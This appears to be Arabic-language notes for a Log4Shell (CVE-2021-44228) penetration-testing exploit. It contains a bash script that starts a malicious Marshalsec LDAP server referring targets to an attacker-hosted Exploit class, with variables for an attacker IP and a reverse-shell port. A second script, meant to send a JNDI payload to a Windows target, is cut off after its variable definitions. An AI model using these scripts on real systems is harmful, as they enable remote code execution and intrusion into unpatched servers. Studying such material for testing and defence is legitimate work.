CVE-2021-44228-Log4Shell-

اختبار الاختراق

1. إنشاء خادم LDAP ضار (باستخدام Marshalsec) #!/bin/bash

Script: start_ldap_server.sh

المتطلبات: تثبيت Java و Marshalsec (https://github.com/mbechler/marshalsec)

LDAP_PORT="1389" HTTP_PORT="8000" ATTACKER_IP="192.168.0.101" REVERSE_PORT="5555"

echo "[+] بدء خادم LDAP الضار على المنفذ $LDAP_PORT..." java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT

2. إرسال حمولة Log4Shell من خادم الويب المخترق

#!/bin/bash

Script: exploit_log4shell.sh

الهدف: إرسال حمولة JNDI إلى جهاز ويندوز الهدف

TARGET_IP="192.168.1.10" ATTACKER_IP="192.168.0.101" LDAP_PORT="1389"